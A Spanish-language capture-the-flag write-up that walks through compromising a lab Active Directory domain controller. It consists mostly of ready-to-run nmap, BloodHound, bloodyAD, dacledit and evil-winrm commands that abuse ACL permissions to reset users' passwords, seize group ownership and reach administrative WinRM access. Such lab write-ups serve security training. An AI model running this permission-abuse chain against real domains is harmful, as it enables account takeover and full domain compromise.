Resolución del CTF Elevator
Enumeración
Escaneo de puertos
Realizamos un escaneo de todos los puertos para identificar los servicios activos en el sistema objetivo.
nmap -p- --open -sCV -Pn -n --min-rate 5000 192.168.0.100- -p- : Escaneo de todos los puertos. (65535)
- -sS : Realiza un TCP SYN Scan para escanear rápidamente qué puertos están abiertos.
- -sC : Escaneo con scripts básicos de reconocimiento.
- -sV : Detección de servicios.
- –min-rate 5000 : Escaneo no inferior a 5000 paquetes/segundo.
- -n : Sin resolución DNS.
- -Pn : Sin descubrimiento por ping.
El sistema expone servicios típicos de un controlador de dominio Active Directory, incluyendo LDAP, Kerberos, SMB y WinRM.
Credenciales iniciales
Disponemos de credenciales válidas de dominio proporcionadas por el laboratorio, que verificamos contra LDAP.
nxc ldap 192.168.0.100 -u 'john.smith' -p 'Rk436#Z4&'Enumeración de Active Directory
Recolectamos información del dominio para identificar relaciones de privilegios y posibles rutas de escalada.
bloodhound-python -d bloodhound.thl -u 'john.smith' -p 'Rk436#Z4&' -c all --zip -ns 192.168.0.100El análisis revela una cadena clara de abuso de permisos basada en AddSelf, GenericAll, ForceChangePassword, WriteDACL y WriteOwner.
Escalada de privilegios en dominio
El usuario inicial puede añadirse a un grupo con privilegios adicionales.
bloodyAD -d bloodhound.thl --dc-ip 192.168.0.100 -u 'john.smith' -p 'Rk436#Z4&' add groupMember FINANZAS john.smithComo miembro del grupo, heredamos control total sobre otro usuario y forzamos el cambio de contraseña.
bloodyAD -d bloodhound.thl --dc-ip 192.168.0.100 -u 'john.smith' -p 'Rk436#Z4&' set password mary.johnson admin12345Continuamos la cadena forzando el cambio de contraseña de un tercer usuario.
bloodyAD -d bloodhound.thl --dc-ip 192.168.0.100 -u 'mary.johnson' -p 'admin12345' set password robert.williams admin12345Abuso de WriteDACL
El siguiente usuario dispone de permisos WriteDACL sobre otro objeto de usuario, lo que nos permite asignarnos control total.
bloodyAD -d bloodhound.thl --dc-ip 192.168.0.100 -u 'robert.williams' -p 'admin12345' add genericAll patricia.brown robert.williamsCon el control efectivo, forzamos nuevamente el cambio de contraseña.
bloodyAD -d bloodhound.thl --dc-ip 192.168.0.100 -u 'robert.williams' -p 'admin12345' set password patricia.brown admin12345Abuso de WriteOwner y control de grupo
El nuevo usuario tiene capacidad para modificar el propietario de un grupo privilegiado.
bloodyAD -d bloodhound.thl --dc-ip 192.168.0.100 -u 'patricia.brown' -p 'admin12345' set owner OPERACIONES patricia.brownAl ser propietarios, ajustamos la DACL del grupo y nos añadimos como miembros.
dacledit.py -action 'write' -rights 'WriteMembers' -principal 'patricia.brown' -target-dn 'CN=OPERACIONES,OU=OPERACIONES,DC=BLOODHOUND,DC=THL' 'bloodhound.thl/patricia.brown:admin12345'bloodyAD -d bloodhound.thl --dc-ip 192.168.0.100 -u 'patricia.brown' -p 'admin12345' add groupMember OPERACIONES patricia.brownAcceso a usuario privilegiado
El grupo controlado tiene GenericAll sobre un usuario con privilegios administrativos, lo que nos permite comprometerlo.
bloodyAD -d bloodhound.thl --dc-ip 192.168.0.100 -u 'patricia.brown' -p 'admin12345' set password michael.jones admin12345Añadimos el usuario comprometido al grupo de administración remota para acceso por WinRM.
bloodyAD -d bloodhound.thl --dc-ip 192.168.0.100 -u 'michael.jones' -p 'admin12345' add groupMember 'Usuarios de administración remota' michael.jonesAcceso final
Accedemos al sistema con privilegios administrativos mediante WinRM y obtenemos control total del dominio.
evil-winrm -i 192.168.0.100 -u 'michael.jones' -p 'admin12345'